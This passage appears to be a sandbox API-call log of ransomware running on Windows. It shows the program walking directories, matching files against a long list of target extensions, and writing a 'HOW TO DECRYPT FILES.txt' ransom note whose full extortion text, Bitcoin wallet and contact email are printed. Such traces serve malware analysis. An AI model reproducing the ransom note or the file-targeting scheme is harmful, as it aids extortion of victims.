(lpString="*.xls") returned 5 [0112.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mp4") returned 0 [0112.274] lstrlenA (lpString="*.mp4") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.ppt") returned 0 [0112.275] lstrlenA (lpString="*.ppt") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.pptx") returned 0 [0112.275] lstrlenA (lpString="*.pptx") returned 6 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.doc") returned 0 [0112.275] lstrlenA (lpString="*.doc") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.dot") returned 0 [0112.275] lstrlenA (lpString="*.dot") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.docx") returned 0 [0112.275] lstrlenA (lpString="*.docx") returned 6 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.7z") returned 0 [0112.275] lstrlenA (lpString="*.7z") returned 4 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.tar") returned 0 [0112.275] lstrlenA (lpString="*.tar") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.bz2") returned 0 [0112.275] lstrlenA (lpString="*.bz2") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.gz") returned 0 [0112.275] lstrlenA (lpString="*.gz") returned 4 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mkv") returned 0 [0112.275] lstrlenA (lpString="*.mkv") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.eml") returned 0 [0112.275] lstrlenA (lpString="*.eml") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.msg") returned 0 [0112.275] lstrlenA (lpString="*.msg") returned 5 [0112.275] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.edb") returned 0 [0112.276] lstrlenA (lpString="*.edb") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.accdb") returned 0 [0112.276] lstrlenA (lpString="*.accdb") returned 7 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.odb") returned 0 [0112.276] lstrlenA (lpString="*.odb") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.java") returned 0 [0112.276] lstrlenA (lpString="*.java") returned 6 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.asm") returned 0 [0112.276] lstrlenA (lpString="*.asm") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.pfx") returned 0 [0112.276] lstrlenA (lpString="*.pfx") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.pem") returned 0 [0112.276] lstrlenA (lpString="*.pem") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.p12") returned 0 [0112.276] lstrlenA (lpString="*.p12") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.gpg") returned 0 [0112.276] lstrlenA (lpString="*.gpg") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.vsd") returned 0 [0112.276] lstrlenA (lpString="*.vsd") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.odg") returned 0 [0112.276] lstrlenA (lpString="*.odg") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.raw") returned 0 [0112.276] lstrlenA (lpString="*.raw") returned 5 [0112.276] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.nef") returned 0 [0112.277] lstrlenA (lpString="*.nef") returned 5 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.svg") returned 0 [0112.277] lstrlenA (lpString="*.svg") returned 5 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.psd") returned 0 [0112.277] lstrlenA (lpString="*.psd") returned 5 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.vmx") returned 0 [0112.277] lstrlenA (lpString="*.vmx") returned 5 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.vmdk") returned 0 [0112.277] lstrlenA (lpString="*.vmdk") returned 6 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.vdi") returned 0 [0112.277] lstrlenA (lpString="*.vdi") returned 5 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.lay6") returned 0 [0112.277] lstrlenA (lpString="*.lay6") returned 6 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mpeg") returned 0 [0112.277] lstrlenA (lpString="*.mpeg") returned 6 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.djvu") returned 0 [0112.277] lstrlenA (lpString="*.djvu") returned 6 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.tiff") returned 0 [0112.277] lstrlenA (lpString="*.tiff") returned 6 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.backup") returned 0 [0112.277] lstrlenA (lpString="*.backup") returned 8 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.pdf") returned 0 [0112.277] lstrlenA (lpString="*.pdf") returned 5 [0112.277] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.cert") returned 0 [0112.278] lstrlenA (lpString="*.cert") returned 6 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.docm") returned 0 [0112.278] lstrlenA (lpString="*.docm") returned 6 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.xlsm") returned 0 [0112.278] lstrlenA (lpString="*.xlsm") returned 6 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.dwg") returned 0 [0112.278] lstrlenA (lpString="*.dwg") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.nd") returned 0 [0112.278] lstrlenA (lpString="*.nd") returned 4 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.tlg") returned 0 [0112.278] lstrlenA (lpString="*.tlg") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.lgb") returned 0 [0112.278] lstrlenA (lpString="*.lgb") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mov") returned 0 [0112.278] lstrlenA (lpString="*.mov") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.xdw") returned 0 [0112.278] lstrlenA (lpString="*.xdw") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.ods") returned 0 [0112.278] lstrlenA (lpString="*.ods") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.wav") returned 0 [0112.278] lstrlenA (lpString="*.wav") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.mp3") returned 0 [0112.278] lstrlenA (lpString="*.mp3") returned 5 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.aiff") returned 0 [0112.278] lstrlenA (lpString="*.aiff") returned 6 [0112.278] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.flac") returned 0 [0112.279] lstrlenA (lpString="*.flac") returned 6 [0112.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.m4a") returned 0 [0112.279] lstrlenA (lpString="*.m4a") returned 5 [0112.279] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\stdole\\70f1aed4a280583cbd09e0f5d9bbc1f5\\stdole.ni.dll", pszSpec="*.csv") returned 0 [0112.279] lstrlenA (lpString="*.csv") returned 5 [0112.279] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3efd13b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3efd13b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3efd13b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="stdole.ni.dll", cAlternateFileName="STDOLE~1.DLL")) returned 0 [0112.279] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.279] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f1e66f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f1e66f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f1e66f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="70f1aed4a280583cbd09e0f5d9bbc1f5", cAlternateFileName="70F1AE~1")) returned 0 [0112.279] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.279] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740073, dwReserved1=0x6f0064, cFileName="sysglobl", cAlternateFileName="")) returned 1 [0112.279] lstrcmpA (lpString1=".", lpString2="sysglobl") returned -1 [0112.279] lstrcmpA (lpString1="..", lpString2="sysglobl") returned -1 [0112.279] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.279] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="sysglobl" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl" [0112.279] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl") returned 55 [0112.279] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.280] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.280] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.280] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.280] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.280] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="857fbc76bdd79711e5228e5b075ade49", cAlternateFileName="857FBC~1")) returned 1 [0112.280] lstrcmpA (lpString1=".", lpString2="857fbc76bdd79711e5228e5b075ade49") returned -1 [0112.280] lstrcmpA (lpString1="..", lpString2="857fbc76bdd79711e5228e5b075ade49") returned -1 [0112.280] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\*.*") returned="*.*" [0112.280] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\", lpString2="857fbc76bdd79711e5228e5b075ade49" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49" [0112.280] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49") returned 88 [0112.280] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.281] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.281] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.281] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.281] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.281] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a9c083, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23a9c083, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23a9c083, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sysglobl.ni.dll", cAlternateFileName="SYSGLO~1.DLL")) returned 1 [0112.281] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.281] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sysglobl.ni.dll") returned -1 [0112.281] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sysglobl.ni.dll") returned -1 [0112.281] lstrcmpiA (lpString1="", lpString2="sysglobl.ni.dll") returned -1 [0112.281] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\*.*") returned="*.*" [0112.281] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\" [0112.281] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\") returned="" [0112.281] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\HOW TO DECRYPT FILES.txt" [0112.281] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\how to decrypt files.txt")) returned 0xffffffff [0112.282] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.283] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.283] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.284] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.284] CloseHandle (hObject=0x90) returned 1 [0112.284] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\", lpString2="sysglobl.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll" [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.ems") returned 0 [0112.285] lstrlenA (lpString="*.ems") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.db") returned 0 [0112.285] lstrlenA (lpString="*.db") returned 4 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.dbf") returned 0 [0112.285] lstrlenA (lpString="*.dbf") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.myox") returned 0 [0112.285] lstrlenA (lpString="*.myox") returned 6 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.myo") returned 0 [0112.285] lstrlenA (lpString="*.myo") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qbw") returned 0 [0112.285] lstrlenA (lpString="*.qbw") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qbb") returned 0 [0112.285] lstrlenA (lpString="*.qbb") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qbm") returned 0 [0112.285] lstrlenA (lpString="*.qbm") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qbo") returned 0 [0112.285] lstrlenA 